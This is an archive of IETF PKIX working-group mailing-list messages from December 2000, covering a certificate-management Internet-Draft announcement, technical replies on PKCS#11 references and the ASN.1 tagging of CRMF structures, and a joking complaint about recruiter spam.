From owner-ietf-pkix@imc.org  Fri Dec  1 06:39:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA29380
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 06:39:03 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id DAA15129;
	Fri, 1 Dec 2000 03:32:30 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 03:31:43 -0800
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id DAA14959
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 03:31:42 -0800 (PST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26034;
	Fri, 1 Dec 2000 06:33:21 -0500 (EST)
Message-Id: <200012011133.GAA26034@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: ietf-pkix@imc.org
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-pkix-rfc2510bis-02.txt
Date: Fri, 01 Dec 2000 06:33:21 -0500
Sender: nsyracus@cnri.reston.va.us
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Public-Key Infrastructure (X.509) Working Group of the IETF.

	Title		: Internet X.509 Public Key Infrastructure Certificate 
                          Management Protocols
	Author(s)	: C. Adams, S. Farrell
	Filename	: draft-ietf-pkix-rfc2510bis-02.txt
	Pages		: 89
	Date		: 30-Nov-00
	
This document describes the Internet X.509 Public Key Infrastructure
(PKI) Certificate Management Protocols. Protocol messages are defined
for all relevant aspects of certificate creation and management.
Note that 'certificate' in this document refers to an X.509v3
Certificate as defined in [COR95, X509-AM].

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-pkix-rfc2510bis-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001130115310.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-pkix-rfc2510bis-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-pkix-rfc2510bis-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001130115310.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-ietf-pkix@imc.org  Fri Dec  1 09:20:44 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA18464
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 09:20:43 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA26617;
	Fri, 1 Dec 2000 06:17:52 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 06:17:44 -0800
Received: from SOTTMXS01.entrust.com (gatekeeper.entrust.com [204.101.128.170])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA26569
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 06:17:43 -0800 (PST)
Received: by SOTTMXS01.entrust.com with Internet Mail Service (5.5.2650.21)
	id <W5KZL9NW>; Fri, 1 Dec 2000 09:19:37 -0500
Message-ID: <DD62792EA182FF4E99C2FBC07E3053BD053EC1@sottmxs09.entrust.com>
From: Carlisle Adams <carlisle.adams@entrust.com>
To: "'FRousseau@chrysalis-its.com'" <FRousseau@chrysalis-its.com>
Cc: ietf-pkix@imc.org
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt
Date: Fri, 1 Dec 2000 09:19:20 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C05BA1.B2866BB0"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C05BA1.B2866BB0
Content-Type: text/plain

Hi Francois,

> ----------
> From:
> FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com]
> Sent: 	Thursday, November 30, 2000 11:27 AM
> To: 	ietf-pkix@imc.org
> Subject: 	RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt
> 
> Since the same comment that had previously been added in rfc2510bis for
> clarifying when the EncryptedValue is used to carry a private key was also
> added in this Internet Draft, PKCS#11 and ANSI X9.42 should probably be
> added as references in this document.
 
Yes, the references could be added.  I'll try to remember to put them in
before the document progresses.

> Note also that the next draft of PKCS#11 v2.11 will include explicit
> support for the ANSI X9.42 flavour of Diffie-Hellman and the wrapping
> (i.e. encryption) of X9.42 Diffie-Hellman private keys.  Therefore the
> exception that the D-H algorithm OID and parameters MUST be as defined in
> ANSI X9.42 might soon become superfluous.
 
True.  As you know, however, it depends on timing.  Unless the new PKCS #11
comes out (in a stable, referencable form) before progression of this
document, there will be no choice but to continue to include this exception
in the text.

Thanks again for your careful reading of this revision!

Carlisle.


------_=_NextPart_001_01C05BA1.B2866BB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Hi =
Francois,</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"MS Sans Serif">----------</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">From:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">FRousseau@chrysalis-its.com[SMTP:FRousseau@chrysalis-its.com]</FO=
NT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Sent:</FONT></B> &nbsp; =
<FONT SIZE=3D2 FACE=3D"MS Sans Serif">Thursday, November 30, 2000 11:27 =
AM</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">To:</FONT></B> =
&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">ietf-pkix@imc.org</FONT>
<BR><B><FONT SIZE=3D2 FACE=3D"MS Sans Serif">Subject:</FONT></B> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 FACE=3D"MS Sans =
Serif">RE: I-D ACTION:draft-ietf-pkix-rfc2511bis-00.txt</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Since the same comment that had =
previously been added in rfc2510bis for clarifying when the =
EncryptedValue is used to carry a private key was also added in this =
Internet Draft, PKCS#11 and ANSI X9.42 should probably be added as =
references in this document.</FONT></P>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Yes, the =
references could be added.&nbsp; I'll try to remember to put them in =
before the document progresses.</FONT>
</P>
<UL>
<P><FONT SIZE=3D2 FACE=3D"Arial">Note also that the next draft of =
PKCS#11 v2.11 will include explicit support for the ANSI X9.42 flavour =
of Diffie-Hellman and the wrapping (i.e. encryption) of X9.42 =
Diffie-Hellman private keys.=A0 Therefore the exception that the D-H =
algorithm OID and parameters MUST be as defined in ANSI X9.42 might =
soon become superfluous.</FONT></P>
</UL>
<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">&nbsp;</FONT>
<BR><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">True.&nbsp; As you know, however, it depends on timing.&nbsp; =
Unless the new PKCS #11 comes out (in a stable, referencable form) =
before progression of this document, there will be no choice but to =
continue to include this exception in the text.</FONT></P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New Roman">Thanks =
again for your careful reading of this revision!</FONT>
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Times New =
Roman">Carlisle.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C05BA1.B2866BB0--


From owner-ietf-pkix@imc.org  Fri Dec  1 11:48:52 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14512
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 11:48:51 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id IAA09393;
	Fri, 1 Dec 2000 08:46:01 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 08:45:51 -0800
Received: from eagle.verisign.com (eagle.verisign.com [208.206.241.105])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA09359
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 08:45:50 -0800 (PST)
Received: from postal-gw2.verisign.com (verisign.com [63.104.27.102])
        by eagle.verisign.com (8.9.3/BCH1.7.1) with ESMTP id IAA09148;
        Fri, 1 Dec 2000 08:48:52 -0800 (PST)
Received: by postal-gw.verisign.com with Internet Mail Service (5.5.2650.21)
	id <YBYXZ3HJ>; Fri, 1 Dec 2000 08:47:15 -0800
Message-ID: <2F3EC696EAEED311BB2D009027C3F4F40154C721@vhqpostal.verisign.com>
From: Philip Hallam-Baker <pbaker@verisign.com>
To: "'Pierce, Shirley'" <shirley.pierce@tmp.com>,
        "'Heidi Kay'"
	 <heidi@kayconcepts.com>, ietf-pkix@imc.org
Subject: Please do not help them Was:RE: please help in my search
Date: Fri, 1 Dec 2000 08:47:14 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
MIME-Version: 1.0
Content-Type: multipart/signed;
	boundary="----=_NextPart_000_0003_01C05B8C.ADA143F0";
	micalg=SHA1;
	protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This is a multi-part message in MIME format.

------=_NextPart_000_0003_01C05B8C.ADA143F0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

This type of message is off topic and inappropriate for a working
group. 

If technical recruiters start filling up newsgroups with SPAM I 
suggest that we disintermediate them imediately. I don't think
we need to pay recruiters $30K++ to fill positions through
posts to the PKIX list.

Anyone looking for a job with a strong PKI resume should be able
to find one in a few days by surfing the PKI companies corporate
Web sites.

In the meantime recruiters should note that standard IETF practice
is for anyone who uses a working group for recruitment to return
10% of the fee or hiring bonus to the working group in the form of
donuts at the next IETF working group meeting.

I don't know about you but personally I don't think we need the
additional problem of having to eat $3000 worth of donuts. That 
would be at least $10 worth of donuts per head - or four boxes of
12!

So for the sake of our diets and in the interests of SPAM control
anyone looking for a PKI job in should send their resume to me. The
comparitively modest hiring bonus I will then receive will pay 
for an entirely manageable number of donuts.

	Phill

------=_NextPart_000_0003_01C05B8C.ADA143F0
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIINaDCCAj0w
ggGmAhEAulrJTAU7ktantt9O0FOSDTANBgkqhkiG9w0BAQIFADBfMQswCQYDVQQGEwJVUzEXMBUG
A1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVibGljIFByaW1hcnkgQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNOTYwMTI5MDAwMDAwWhcNMDQwMTA3MjM1OTU5WjBfMQsw
CQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDIgUHVi
bGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBALZai6MNaiODgGvPOYf0IRMzBkwlou1VEpfFp4C5+oPBIKD6LxUNfKFga355LPoGDzqu
9htvsdL/LyhSX4N9S8R6t/hmH4BU/LfCjllKFFdG0ZqTvkGRA7sVgJNc6+fMCGw/PrNK/P9LbCPV
UIImRBmOI8Nx6hkkRwSedb/IpgAfAgMBAAEwDQYJKoZIhvcNAQECBQADgYEAtgAfk1ekB6dAzmVA
P1Ve7e/6VEmlMNYhfGGH7oOTC7+0M/KYrJ8Gv06ozhSBTMsETljDz1/ufNeab8tBird/gbj/hGHG
J0NlHQzssQAK3Ruku8d4ICiyot02lS7hVE+/YLl3aBGZI+jqUuiqAE5nTruQtUWbRuuOFu/EM1sz
PdUwggNDMIICrKADAgECAhAffl/nA9Hgv5kg3GuJDUsEMA0GCSqGSIb3DQEBBAUAMF8xCzAJBgNV
BAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMiBQdWJsaWMg
UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05OTAyMjUwMDAwMDBaFw0wNDAxMDUy
MzU5NTlaMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1
c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93
d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEmMCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQ
ZXJzb25uZWwgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKcEbA+icrdKBi741yksNJ2C
vEiRSses+en8uVl4sVXAU1ixz28WO8FJ1cv0bszhzMu1xy5OiKo06bbQW3w+FVc04Ri8/931r2dZ
IArlPeqIikDSmokTKam21dunfuHnNyST/ZR0TXrkMm1M6FwWl6/dktlmihRm5OpaA6g9X/sLAgMB
AAGjgbAwga0wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMi5j
cmwwEQYJYIZIAYb4QgEBBAQDAgEGMEcGA1UdIARAMD4wPAYLYIZIAYb4RQEHAQEwLTArBggrBgEF
BQcCARYfaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rcjAPBgNVHRMECDAGAQH/AgEBMAsG
A1UdDwQEAwIBBjANBgkqhkiG9w0BAQQFAAOBgQB59xXN6GhRWWv8qaa94B77vPQ/kN/n+u3kVPdh
PVSLBrqXMloeqyzur3Orx13TP4/0zstOSGCiqGC2ON6gpvePKegRrMw5dlA83TlsC/Fa/QhUdt0W
bPcxcLi/CPfJJgaO37svGbG2uLToPEjoJ7GXKSBXA5ybZ/p9QMQ4fxiqmjCCA8QwggMtoAMCAQIC
EQCEzvIOADm1dVXaGYePUu2JMA0GCSqGSIb3DQEBBAUAMIGtMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEm
MCQGA1UEAxMdVmVyaVNpZ24gQ2xhc3MgMiBQZXJzb25uZWwgQ0EwHhcNOTkwMjI1MDAwMDAwWhcN
MDQwMTA0MjM1OTU5WjCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT
aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0
dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs
YXNzIDIgRW1wbG95ZWUgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAMCK0YdhouowA1Vr
CDbwl/oaVDUkH+h9ncjDc9PYRvWRLdk47ZTXsCZzKt6XUE3/Ihy9cACYDFgqsaRyj6W59y18YOO1
3+l9TiEhYdX8O1TJpAmcuyL5orpwYU+GRqL9BWTsCj+mWHZXuxZzRHzwpQ2XwGym8WMIJbEEF5Wg
jf5/AgMBAAGjgeIwgd8wKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMTE4
MDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNy
bDARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsGCCsGAQUF
BwIBFh9odHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWtyMA8GA1UdEwQIMAYBAf8CAQAwCwYD
VR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBABlGztRrcI5YXIhCNa0WfaUJLKhTkPH2PYbX8M5y
FD0ivPLDM+3U/AWa4GMgdaMb71UZDwZzIQJhrqaeUSt43FvIhIvV17bP1fg+l5ixRIujmI6gS/aY
MZOz8AzdUXbKl+RWRMb7lKFIfSJDzKDGXHlV9WeBG2iYNCREsZjBOiheMIIEFDCCA32gAwIBAgIQ
AxTuqrYcesW8jpUyudZ0/DANBgkqhkiG9w0BAQQFADCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIElu
Yy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJq
ZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAj
BgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95ZWUgQ0EwHhcNOTkxMjIwMDAwMDAwWhcNMDAx
MjE5MjM1OTU5WjBsMREwDwYDVQQKEwhWRVJJU0lHTjELMAkGA1UECxMCSFExEzARBgNVBAMTClJl
Y2lwaWVudHMxNTAzBgNVBAMTLHBiYWtlciAoUGhpbGlwIEhhbGxhbS1CYWtlciwgVmVyaVNpZ24s
IEluYy4pMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC3f0kRIy2AU5cHhfnUwuHecFNq6dnf
/wsvxS//4Nt8rFgr2KdvQETKaQ6wGl6mVijB6udZW9dUKVoE1lnu2MMcIhtAL3+Q2dsrxlrTInfq
PKAdxu/Fvb4n3Y0RItW9zh1MzFWZ8Q9z6eF2HuBwG6ANfRzfJgironyftbbitRyaxQIDAQABo4IB
dDCCAXAwCQYDVR0TBAIwADBVBgNVHR8ETjBMMEqgSKBGhkRodHRwOi8vb25zaXRlY3JsLnZlcmlz
aWduLmNvbS9WZXJpU2lnbkluY0V4Y2hhbmdlRW1wbG95ZWVzL0xhdGVzdENSTDALBgNVHQ8EBAMC
BaAwHgYDVR0RBBcwFYETcGJha2VyQHZlcmlzaWduLmNvbTCBrAYDVR0gBIGkMIGhMIGeBgtghkgB
hvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL0NQUzBiBggr
BgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3MgQ1BTIGluY29ycC4g
YnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJYIZIAYb4QgEBBAQDAgeA
MB0GA1UdJQQWMBQGCCsGAQUFBwMEBggrBgEFBQcDAjANBgkqhkiG9w0BAQQFAAOBgQAaUApBXCjc
mPE5dFPHlQVl4n9WoOU7AE487xxC7vcR1MDhF8p/0GMu6zOyZe9CFVaOndaYCRgv69qKTVoANmsM
F/eFsQn/HaoXEz+jHPNgWcPyBu3dujO9s2PLQbuBXE3rIaDiVyTftVgoNvO0fcknSlNOWxqHvbaH
9RYvhMghkjGCAvgwggL0AgEBMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE
CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1YmplY3QgdG8gdGVy
bXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTElMCMGA1UEAxMcVmVy
aVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAJBgUrDgMCGgUAoIIB
jDAYBgkqhkiG9w0BCQMxCwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMDEyMDExNjQ4NTNa
MCMGCSqGSIb3DQEJBDEWBBQjXV3pKI7MeuaPoGOLpWj2nHkh0DBYBgkqhkiG9w0BCQ8xSzBJMAoG
CCqGSIb3DQMHMA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMC
GjAKBggqhkiG9w0CBTCB0gYJKwYBBAGCNxAEMYHEMIHBMIGsMRcwFQYDVQQKEw5WZXJpU2lnbiwg
SW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFJMEcGA1UECxNAVXNlIGlzIHN1
YmplY3QgdG8gdGVybXMgYXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYS1rciAoYyk5OTEl
MCMGA1UEAxMcVmVyaVNpZ24gQ2xhc3MgMiBFbXBsb3llZSBDQQIQAxTuqrYcesW8jpUyudZ0/DAN
BgkqhkiG9w0BAQEFAASBgGnwTLanKsOUxC0PI+zLlZQJ5BnlCKgQ8FZwx/3r7h96gVTRVj1HkJbk
ZmHtoryQat3Py7ze9kSPCZbxst4UXBRvBFOG0SerK3lWT7dxbaK8UzOf9joBWS6ym5Gzi103eK4u
lXlYJpmA3k5w+bVcYO5jHn6rXPM6TE0r5/9U7BFdAAAAAAAA

------=_NextPart_000_0003_01C05B8C.ADA143F0--



From owner-ietf-pkix@imc.org  Fri Dec  1 13:22:44 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA09946
	for <pkix-archive@odin.ietf.org>; Fri, 1 Dec 2000 13:22:42 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA15893;
	Fri, 1 Dec 2000 10:20:23 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 1 Dec 2000 10:20:14 -0800
Received: from tholian.securitydynamics.com (tholian.securid.com [204.167.112.129])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA15853
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 10:20:08 -0800 (PST)
Received: from sdtihq24.securitydynamics.com by tholian.securitydynamics.com
          via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 1 Dec 2000 18:21:37 UT
Received: from exrsa01.rsa.com (exrsa01.securitydynamics.com [10.81.217.7])
	by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id NAA14887
	for <ietf-pkix@imc.org>; Fri, 1 Dec 2000 13:21:49 -0500 (EST)
Received: by exrsa01.rsa.com with Internet Mail Service (5.5.2650.21)
	id <WN15Z523>; Fri, 1 Dec 2000 10:21:48 -0800
Message-ID: <E7B6CB80230AD31185AD0008C7EBC4D26663D1@exrsa01.rsa.com>
From: "Jacoby, Jeffrey" <jjacoby@rsasecurity.com>
To: "'ietf-pkix@imc.org'" <ietf-pkix@imc.org>
Subject: RE: draft-ietf-pkix-rfc2511bis-00
Date: Fri, 1 Dec 2000 10:21:48 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Hi,
 
Another thing that would be nice to clear up in
draft-ietf-pkix-rfc2511bis-00.txt
is the comments on PBMParameter.  In section 4.4.1 (and also in Appendix C)
is 
this:
 
PBMParameter ::= SEQUENCE {
  salt                OCTET STRING,        
  owf                 AlgorithmIdentifier,
  -- AlgId for a One-Way Function (SHA-1 recommended)         
  iterationCount      INTEGER,         
  -- number of times the OWF is applied         
  mac                 AlgorithmIdentifier         
  -- the MAC AlgId (e.g., DES-MAC, Triple-DES-MAC [PKCS11],   
} -- or HMAC [RFC2104, RFC2202])
 
However, at the end of that very section, is this statement:
 
  The AlgorithmIdentifier for owf SHALL be SHA-1 {1 3 14 3 2 26} and
  for mac SHALL be HMAC-SHA1 {1 3 6 1 5 5 8 1 2}.
 
So why, in the comments, is SHA-1 "recommended", and numerous examples are
given for mac?
 
Jeff
 
--------------------------------------------------------------------------


Jeff Jacoby         phone: (650) 295-7569
Sr. Developer       email: jjacoby@rsasecurity.com
<mailto:jjacoby@rsasecurity.com>        

RSA Security, SMDC
2755 Campus Drive, Suite 300
San Mateo, CA 94403


 


 

-----Original Message-----
From: Carlisle Adams [ mailto:carlisle.adams@entrust.com
<mailto:carlisle.adams@entrust.com> ]
Sent: Thursday, November 30, 2000 12:51 PM
To: 'Ari Kermaier'
Cc: ietf-pkix@imc.org <mailto:ietf-pkix@imc.org> 
Subject: RE: draft-ietf-pkix-rfc2511bis-00



Hi Ari, 

RFC 2511 (and therefore rfc2511bis-00.txt) has the definitive syntax (the
section in 2510 discusses semantic interpretation).  Therefore, publicKeyMAC
is untagged.  I will try to remember to remove the tag from rfc2510bis as it
progresses.

Thanks for noticing this! 

Carlisle. 


	---------- 
From:   Ari Kermaier[SMTP:arik@phaos.com] 
Sent:   Thursday, November 30, 2000 2:20 PM 
To:     ietf-pkix@imc.org 
Subject:        RE: draft-ietf-pkix-rfc2511bis-00 

	A question of ASN.1 in CRMF: 

	draft-ietf-pkix-rfc2511bis-00 Section 4.4 has: 

	    POPOSigningKeyInput ::= SEQUENCE { 
        authInfo            CHOICE { 
            sender              [0] GeneralName, 
            -- used only if an authenticated identity has been 
            -- established for the sender (e.g., a DN from a 
            -- previously-issued and currently-valid certificate) 
            publicKeyMAC        PKMACValue }, 
            -- used if no authenticated GeneralName currently exists for 
            -- the sender; publicKeyMAC contains a password-based MAC 
            -- on the DER-encoded value of publicKey 
        publicKey           SubjectPublicKeyInfo }  -- from CertTemplate 

	draft-ietf-pkix-rfc2510bis-01 Section 3.2.8 has: 

	      POPOSigningKeyInput ::= SEQUENCE { 
          authInfo            CHOICE { 
              sender              [0] GeneralName, 
              -- from PKIHeader (used only if an authenticated identity 
              -- has been established for the sender (e.g., a DN from a 
              -- previously-issued and currently-valid certificate)) 
              publicKeyMAC        [1] PKMACValue 
              -- used if no authenticated GeneralName currently exists for 
              -- the sender; publicKeyMAC contains a password-based MAC 
              -- (using the protectionAlg AlgId from PKIHeader) on the 
              -- DER-encoded value of publicKey 
          }, 
          publicKey           SubjectPublicKeyInfo    -- from CertTemplate 
      } 

	So -- is the publicKeyMAC choice tagged or not? 

	Ari Kermaier 



From owner-ietf-pkix@imc.org  Fri Dec  1 13:57:06 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20873
